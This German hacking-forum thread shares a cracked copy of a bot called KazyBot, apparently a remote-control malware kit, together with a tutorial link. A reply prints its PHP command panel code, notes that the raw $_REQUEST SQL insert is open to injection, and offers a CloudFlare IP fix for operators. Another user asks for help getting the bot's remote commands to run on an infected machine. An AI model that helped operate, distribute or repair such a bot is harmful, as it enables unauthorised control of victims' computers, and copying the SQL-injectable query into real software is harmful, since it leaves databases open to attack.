2 Antworten in diesem Thema

[PaulaAbdul]

::
::

KazyBot v1.0 - Full [cracked by YouKnowWho]

 

 

 

Video Tutorial

 

Please Login HERE or Register HERE to see this link!

 

 

[B1nary]

Das PHP-"Panel" ist voll SQLi-Lücken, die Dank $_REQUEST Methode das einfachere injecten via $_GET zulassen

$query = "INSERT INTO kazybot (HWID, IP, ID, USER, OS, PROCESSOR, MEMORY, RIGHTS, VERSION, LAST) 
VALUES ('" . $_REQUEST['HWID'] ."', '" . getUserIP(). "', '". $_REQUEST['ID']. "', '". $_REQUEST['USER']. "', '". $_REQUEST['OS'] ."', '" . $_REQUEST['PROCESSOR'] . "', '" . $_REQUEST['MEMORY'] . "', '" . $_REQUEST['RIGHTS'] . "', '". $_REQUEST['VERSION']."', NOW()) 
ON DUPLICATE KEY UPDATE LAST = NOW(), RIGHTS = '" . $_REQUEST['RIGHTS'] . "', VERSION = '" . $_REQUEST['VERSION'] . "'";
mysqli_query($sql, $query);

Wer das Panel auf einem VPS mit CloudFlare Protection laufen hat, sollte hier nachbessern (add.php)

function getUserIP()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    return $ip;
}

$remote = $_SERVER["HTTP_CF_CONNECTING_IP"]

Ansonsten bekommt man nur die CloudFlare IP

[Cube]

Hey Leutz.

Ich probier mich grade mim kazyBot.

 

Sowohl lokal als auch mit echtem webserver kann ich mich via selfinjection connecten.

 

Allerdings keine Funktionen selbst ausführen.

Weder Fake Message aufrufen, noch ne Website öffnen oder den Server deinstallieren.

 

Kill ich den Prozess aber via Taskmanager bin ich in der Liste nach paar Sekunden verschwunden.

Fazit: Die Connection dürfte durchgehend laufen.

Aber wieso kann ich keine Befehle nutzen.

 

Weder bei dieser cracked Version, noch bei der offiziellen Lite Version.

 

Hat den schonmal jemand benutzt und zum laufen gebracht?

Überseh ich irgendwas?

 

Wäre über Hilfe dankbar.

 

Lg

Cube